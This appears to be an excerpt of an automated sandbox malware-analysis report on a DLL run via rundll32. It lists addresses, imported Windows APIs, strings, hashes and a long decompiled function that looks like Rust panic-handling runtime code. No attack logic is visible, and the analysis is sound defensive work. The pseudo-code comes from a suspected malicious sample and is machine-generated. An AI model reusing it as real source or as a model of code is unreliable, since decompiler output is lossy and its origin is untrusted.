0x6e9fe09a
0x6e9fe0a0
0x6e9fe0a2
0x6e9fe3e5
0x6e9fe3fe
0x00000000
0x6e9fe0a8
0x6e9fe0a8
0x6e9fe0aa
0x6e9fe0af
0x6e9fe0b5
0x6e9fe0b7
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fe0b7
0x6e9fe083
0x6e9fe083
0x6e9fe089
0x6e9fe08b
0x6e9fe0d9
0x6e9fe0de
0x6e9fe0e1
0x6e9fe0e6
0x6e9fe0e9
0x6e9fe0ec
0x6e9fe0ee
0x6e9fe10e
0x6e9fe10e
0x6e9fe117
0x6e9fe11e
0x6e9fe12d
0x6e9fe132
0x6e9fe147
0x6e9fe14e
0x6e9fe151
0x6e9fe15b
0x6e9fe161
0x6e9fe16b
0x6e9fe175
0x6e9fe17b
0x6e9fe185
0x6e9fe190
0x6e9fe1ae
0x6e9fe1b1
0x6e9fe1b4
0x00000000
0x00000000
0x6e9fe1c6
0x6e9fe1cc
0x6e9fe1d6
0x6e9fe1db
0x6e9fe1de
0x6e9fe1e1
0x6e9fe1e3
0x00000000
0x00000000
0x00000000
0x6e9fe1e3
0x00000000
0x6e9fe0f0
0x6e9fe0fb
0x6e9fe101
0x6e9fe103
0x6e9fe2b4
0x6e9fe2b9
0x6e9fe2ce
0x6e9fe2d5
0x6e9fe2dc
0x6e9fe2e6
0x6e9fe2ed
0x6e9fe2f0
0x6e9fe2fa
0x6e9fe300
0x6e9fe30a
0x6e9fe314
0x6e9fe31a
0x6e9fe324
0x6e9fe330
0x6e9fe330
0x6e9fe336
0x6e9fe338
0x6e9fe356
0x6e9fe372
0x6e9fe374
0x6e9fe377
0x6e9fe1e5
0x6e9fe1e8
0x6e9fe1ed
0x6e9fe1f1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fe33a
0x6e9fe345
0x6e9fe34b
0x6e9fe34d
0x6e9fe3c2
0x6e9fe3db
0x00000000
0x6e9fe34f
0x6e9fe34f
0x6e9fe351
0x00000000
0x6e9fe351
0x6e9fe34d
0x00000000
0x6e9fe37d
0x6e9fe38d
0x6e9fe393
0x6e9fe39d
0x6e9fe3a2
0x6e9fe3a5
0x6e9fe3a8
0x6e9fe3a8
0x00000000
0x6e9fe109
0x6e9fe109
0x00000000
0x6e9fe109
0x6e9fe103
0x6e9fe08d
0x6e9fe0b9
0x6e9fe0c4
0x6e9fe0ca
0x6e9fe0cc
0x6e9fe408
0x6e9fe421
0x6e9fe429
0x6e9fe429
0x6e9fe430
0x6e9fe44c
0x6e9fe0d2
0x6e9fe0d2
0x6e9fe0d4
0x00000000
0x6e9fe0d4
0x6e9fe0cc
0x6e9fe08b
0x6e9fe067
0x6e9fe067
0x6e9fe06b
0x00000000
0x6e9fe071
0x6e9fe1f3
0x6e9fe1f3
0x6e9fe1f7
0x6e9fe287
0x6e9fe287
0x6e9fe28a
0x6e9fe28c
0x6e9fe28e
0x6e9fe292
0x6e9fe29d
0x6e9fe29d
0x6e9fe292
0x6e9fe2a2
0x6e9fe1fd
0x6e9fe200
0x6e9fe20a
0x6e9fe214
0x6e9fe21e
0x6e9fe228
0x6e9fe232
0x6e9fe248
0x6e9fe249
0x6e9fe251
0x6e9fe253
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fe253
0x6e9fe1f7
0x6e9fe272
0x6e9fe278
0x6e9fe286
0x6e9fe286
0x6e9fe065
0x6e9fdfdc
0x00000000

APIs

SetLastError.KERNEL32(00000000), ref: 6E9FDE42
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6E9FDE4A
GetLastError.KERNEL32 ref: 6E9FDE56
GetLastError.KERNEL32 ref: 6E9FDE68
GetLastError.KERNEL32 ref: 6E9FDECC
HeapFree.KERNEL32(00000000,00000000), ref: 6E9FDEFD
HeapFree.KERNEL32(00000000,?), ref: 6E9FDF47
HeapFree.KERNEL32(00000000,?), ref: 6E9FDF58
GetCurrentProcess.KERNEL32(?), ref: 6E9FE031
GetCurrentThread.KERNEL32 ref: 6E9FE039
RtlCaptureContext.KERNEL32(?), ref: 6E9FE059
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6E9FE09A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6E9FE0C4
GetCurrentProcess.KERNEL32 ref: 6E9FE0D9
GetProcAddress.KERNEL32(StackWalkEx), ref: 6E9FE0FB
ReleaseMutex.KERNEL32(?), ref: 6E9FE1E8
HeapFree.KERNEL32(00000000,?), ref: 6E9FE26B
HeapFree.KERNEL32(00000000,?,?), ref: 6E9FE29D
GetProcAddress.KERNEL32(StackWalk64), ref: 6E9FE345

Strings

StackWalk64, xrefs: 6E9FE33A
StackWalkEx, xrefs: 6E9FE0F0
SymFunctionTableAccess64, xrefs: 6E9FE08F
SymGetModuleBase64, xrefs: 6E9FE0B9
called `Option::unwrap()` on a `None` value, xrefs: 6E9FE3CC, 6E9FE3EF, 6E9FE412

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: 537a8b7e74ddb2cfd5731e4e3afd8b42606b98d07260e552f58932d47abe4d56
Instruction ID: 6c087341d11cb63b6906db1fba9d7794698dd6413bf4bb7050a21141dbd0a1af
Opcode Fuzzy Hash: 537a8b7e74ddb2cfd5731e4e3afd8b42606b98d07260e552f58932d47abe4d56
Instruction Fuzzy Hash: 021202B0600B00DFE761CFA5C994B93BBE9AF49308F10492DD5AA9BA90D771F44ACF51

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC700, Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6E9FC700(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = E6EA039A0;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6ea4e120], esi");
				_t190 = E6E9FD000(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6EA195A0(_t264,  &M6EA3F8F7, 0x46, _t337,  &_v68, 0x6ea3f870, 0x6ea3f9bc);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6ea3f570;
						_v120 = 0x6ea3f824;
						_v68 = 0x6ea40260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E9F2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6E9FD0F0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6ea4e128, 0, _t256);
							}
							_t194 = HeapFree( *0x6ea4e128, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6ea40224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6ea3f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6E9FD0F0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6ea4e11c);
					_v144 = 0x6ea4e11c;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6E9FD000(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6ea4e110; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6E9FD380(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6EA195A0(_t264,  &M6EA3F8F7, 0x46, _t340,  &_v68, 0x6ea3f870, 0x6ea3f9bc);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6ea4d044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6ea4d044;
							_t202 = E6EA02960(_t264, 0x6ea4d044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6ea4d044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6ea4d044;
								_t203 = E6EA02960(_t264, 0x6ea4d044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6ea4e128; // 0x2f30000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6ea4d044;
										_t332 = _t205;
										_t206 =  *0x6ea4d044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6EA02960(_t264, 0x6ea4d044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6EA192F0(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6ea4e128, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6ea4e110;
											 *0x6ea4e110 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6ea03290
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6ea4e128 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6E9FC640(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6EA195A0(_t264, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6ea3f860, 0x6ea3ff30);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6E9FC4D0(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6E9FC640(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6ea4010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e9fdca0;
										_v60 =  &_v100;
										_v56 = 0x6e9fdca0;
										_v52 =  &_v148;
										_v48 = E6E9FDCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E9FD0F0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6ea4e128, 0, _t245);
											}
											HeapFree( *0x6ea4e128, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ea4e10c);
											_v68 = 0x6ea3fad0;
											_v64 = 1;
											_v152 = 0x6ea4e10c;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E9FDD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6E9FD0F0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ea4e10c);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6E9FC640(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6E9FDA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ea4e11c);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6ea4029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6ea3f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6E9FD0F0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6E9FD2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6E9FD290(_t280, _t334);
												asm("ud2");
												goto L103;
											}
											 *0x6ea4d040 = 0;
											_t356 =  *0x6ea4d040;
											if( *0x6ea4d040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6ea4017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6ea3f570;
											_v48 = 0;
											_v20 = 3;
											if(E6E9FD0F0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6ea4e128, 0, _t235);
											}
											HeapFree( *0x6ea4e128, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

0x6e9fc70c
0x6e9fc70f
0x6e9fc716
0x6e9fc71d
0x6e9fc722
0x6e9fc727
0x6e9fc730
0x6e9fc733
0x6e9fc739
0x6e9fc741
0x6e9fc746
0x6e9fc748
0x6e9fc762
0x6e9fc767
0x6e9fc76a
0x6e9fc76a
0x6e9fc76e
0x6e9fc771
0x6e9fc774
0x6e9fc776
0x6e9fc7ea
0x6e9fc7ed
0x6e9fc84a
0x6e9fc851
0x6e9fc85b
0x6e9fc862
0x6e9fc869
0x6e9fc86d
0x6e9fc874
0x6e9fc87b
0x6e9fc881
0x6e9fc884
0x6e9fc887
0x6e9fc88d
0x6e9fc894
0x6e9fc897
0x6e9fc89e
0x6e9fc8a3
0x6e9fc8a5
0x6e9fc8ac
0x6e9fc8b4
0x6e9fc8b7
0x6e9fc8b9
0x6e9fc8bc
0x6e9fc8bc
0x6e9fc8bf
0x6e9fc8c2
0x6e9fc8c6
0x6e9fc8c8
0x6e9fc8ca
0x6e9fc8ce
0x6e9fc8d0
0x6e9fc8d0
0x6e9fc8dc
0x6e9fc8dc
0x6e9fc8ea
0x6e9fc8ea
0x00000000
0x6e9fc8a5
0x6e9fc7f2
0x6e9fc7f5
0x6e9fc7fc
0x6e9fc803
0x6e9fc80a
0x6e9fc811
0x6e9fc815
0x6e9fc81c
0x6e9fc823
0x6e9fc828
0x6e9fc82a
0x00000000
0x6e9fc830
0x6e9fc835
0x6e9fc83d
0x6e9fc840
0x6e9fc842
0x00000000
0x6e9fc842
0x6e9fc77d
0x6e9fc77d
0x6e9fc785
0x6e9fc78b
0x6e9fc795
0x6e9fc79c
0x6e9fc7a3
0x6e9fc7a9
0x6e9fc7ac
0x6e9fc7af
0x6e9fc7b2
0x6e9fc7b5
0x6e9fc7ba
0x6e9fc7bd
0x6e9fc7bf
0x6e9fc8f3
0x6e9fc8f3
0x6e9fc8f6
0x6e9fc8f8
0x6e9fc9cb
0x6e9fc9d0
0x6e9fc9d3
0x6e9fc9d6
0x6e9fcbd7
0x00000000
0x6e9fcbd7
0x6e9fc9dc
0x6e9fc9df
0x6e9fcbd0
0x00000000
0x6e9fcbd0
0x6e9fc9e5
0x6e9fc9e7
0x00000000
0x00000000
0x6e9fc9f0
0x6e9fc9f5
0x6e9fc9f8
0x6e9fc9fb
0x6e9fc9fd
0x00000000
0x00000000
0x6e9fca03
0x00000000
0x6e9fca03
0x6e9fc8fe
0x00000000
0x6e9fc7c5
0x6e9fc7dd
0x6e9fc7e2
0x6e9fcbfe
0x6e9fcbfe
0x6e9fcc00
0x6e9fcc00
0x6e9fcc05
0x6e9fc933
0x6e9fc933
0x6e9fc936
0x6e9fc939
0x6e9fc940
0x6e9fc942
0x6e9fc947
0x6e9fc947
0x6e9fc94d
0x6e9fc956
0x6e9fca33
0x6e9fca33
0x6e9fca38
0x6e9fca3a
0x6e9fca3c
0x6e9fca41
0x6e9fca41
0x6e9fca47
0x6e9fca4d
0x6e9fca4f
0x6e9fcc0f
0x6e9fcc14
0x6e9fcc16
0x6e9fcc26
0x6e9fcc2b
0x6e9fcc30
0x6e9fcc32
0x6e9fcc72
0x6e9fcc78
0x6e9fcc7f
0x6e9fcc81
0x6e9fcc86
0x6e9fcc88
0x6e9fcc8f
0x6e9fcc92
0x6e9fcc97
0x6e9fcc97
0x6e9fcc9c
0x00000000
0x6e9fcc9c
0x6e9fcc34
0x6e9fcc3e
0x6e9fcc43
0x6e9fcc45
0x6e9fcc45
0x6e9fcc48
0x6e9fcc4b
0x6e9fcc4e
0x6e9fccf8
0x6e9fccfe
0x6e9fcd09
0x6e9fcd09
0x6e9fcd0e
0x6e9fcd0e
0x6e9fcd10
0x6e9fcd10
0x6e9fcd12
0x6e9fcd1d
0x6e9fcd1d
0x6e9fcd22
0x6e9fcd22
0x6e9fcd2d
0x6e9fcd35
0x6e9fcd38
0x6e9fcd3b
0x6e9fcd3b
0x6e9fcd3b
0x6e9fc901
0x6e9fc901
0x6e9fc907
0x6e9fc90a
0x6e9fc90a
0x6e9fc910
0x6e9fc913
0x6e9fc915
0x6e9fc923
0x6e9fc923
0x6e9fc925
0x6e9fca0d
0x6e9fca10
0x6e9fca1e
0x6e9fca20
0x00000000
0x00000000
0x6e9fca26
0x6e9fca29
0x6e9fca2b
0x00000000
0x6e9fca2b
0x6e9fc92b
0x6e9fc92e
0x6e9fc930
0x00000000
0x6e9fc930
0x6e9fcd00
0x6e9fcd02
0x00000000
0x6e9fcd02
0x6e9fcc54
0x6e9fcc57
0x00000000
0x00000000
0x6e9fcc5d
0x6e9fcc60
0x00000000
0x00000000
0x6e9fcc66
0x6e9fcc68
0x00000000
0x6e9fcc68
0x6e9fcc18
0x6e9fcc1d
0x6e9fcc1f
0x00000000
0x00000000
0x6e9fcc21
0x00000000
0x6e9fca55
0x6e9fca55
0x6e9fca57
0x6e9fca5a
0x6e9fcca2
0x6e9fcca2
0x6e9fcca5
0x6e9fcca8
0x6e9fcca8
0x6e9fccab
0x6e9fccb1
0x6e9fccb8
0x6e9fccbf
0x6e9fccc5
0x6e9fccc7
0x6e9fcccd
0x6e9fccd0
0x6e9fccd6
0x6e9fccd6
0x6e9fccd0
0x6e9fccc7
0x00000000
0x6e9fccbf
0x6e9fca60
0x6e9fca67
0x6e9fca6e
0x6e9fca6e
0x00000000
0x6e9fca6e
0x6e9fc95c
0x6e9fc95f
0x6e9fc961
0x00000000
0x00000000
0x6e9fc967
0x6e9fc96a
0x6e9fc96d
0x6e9fcbf6
0x6e9fcbfb
0x00000000
0x6e9fcbfb
0x6e9fc973
0x6e9fc979
0x6e9fc97e
0x6e9fc980
0x6e9fc983
0x6e9fc98a
0x6e9fc98f
0x6e9fc992
0x6e9fc994
0x6e9fc997
0x6e9fc999
0x6e9fc99b
0x6e9fc99e
0x6e9fc9a0
0x6e9fc9a3
0x6e9fc9a3
0x6e9fc99e
0x6e9fc9a8
0x6e9fc9a8
0x6e9fc9ab
0x6e9fc9ae
0x6e9fc8ef
0x6e9fc8ef
0x6e9fc8f1
0x00000000
0x6e9fc9b4
0x6e9fc9b4
0x6e9fc9b8
0x6e9fc9bb
0x6e9fc9be
0x6e9fcce0
0x6e9fcce6
0x6e9fcce8
0x6e9fcceb
0x6e9fcea2
0x6e9fcea2
0x6e9fcea7
0x6e9fcea8
0x6e9fcea8
0x6e9fca70
0x6e9fca77
0x6e9fca7e
0x6e9fca85
0x6e9fca8c
0x6e9fca90
0x6e9fca97
0x6e9fca9e
0x6e9fcaa5
0x6e9fcaad
0x6e9fcab0
0x6e9fcab6
0x6e9fcab9
0x6e9fcabf
0x6e9fcac5
0x6e9fcacc
0x6e9fcad5
0x6e9fcadc
0x6e9fcae2
0x6e9fcae9
0x6e9fcaec
0x6e9fcafa
0x6e9fcb01
0x6e9fcb09
0x6e9fcb0c
0x6e9fcb0e
0x6e9fcb11
0x6e9fcb14
0x6e9fcb1b
0x6e9fcb1d
0x6e9fcb23
0x6e9fcb25
0x6e9fcb25
0x6e9fcb31
0x6e9fcb31
0x6e9fcb3f
0x6e9fcb3f
0x6e9fcb44
0x6e9fcb55
0x6e9fcb5a
0x6e9fcd4b
0x6e9fcd5a
0x6e9fcd61
0x6e9fcd68
0x6e9fcd72
0x6e9fcd75
0x6e9fcd7c
0x6e9fcd83
0x6e9fcd89
0x6e9fcd90
0x6e9fcd93
0x6e9fcd9a
0x6e9fcd9f
0x6e9fcda8
0x6e9fcdae
0x6e9fcdb1
0x00000000
0x00000000
0x6e9fcdb8
0x6e9fcdc0
0x6e9fcdc3
0x6e9fcdc5
0x00000000
0x6e9fcb60
0x6e9fcb63
0x6e9fce00
0x6e9fce03
0x6e9fce05
0x6e9fce07
0x6e9fce0a
0x6e9fce0f
0x6e9fce0f
0x6e9fce0a
0x6e9fce17
0x6e9fce1d
0x6e9fce23
0x6e9fce25
0x6e9fce27
0x6e9fce2a
0x6e9fce2f
0x6e9fce2f
0x6e9fce2a
0x6e9fce39
0x6e9fce3f
0x6e9fce43
0x6e9fce4a
0x6e9fce52
0x6e9fce59
0x6e9fce60
0x6e9fce67
0x6e9fce6e
0x6e9fce72
0x6e9fce79
0x6e9fce80
0x6e9fce88
0x6e9fce8b
0x6e9fce8e
0x6e9fce93
0x6e9fce95
0x6e9fce95
0x6e9fce97
0x6e9fce9b
0x6e9fcea0
0x00000000
0x6e9fcea0
0x6e9fcb6b
0x6e9fcb71
0x6e9fcb73
0x00000000
0x00000000
0x6e9fcb7c
0x6e9fcb7f
0x6e9fcb86
0x6e9fcb8d
0x6e9fcb94
0x6e9fcb9b
0x6e9fcba2
0x6e9fcbb0
0x00000000
0x00000000
0x6e9fcbbb
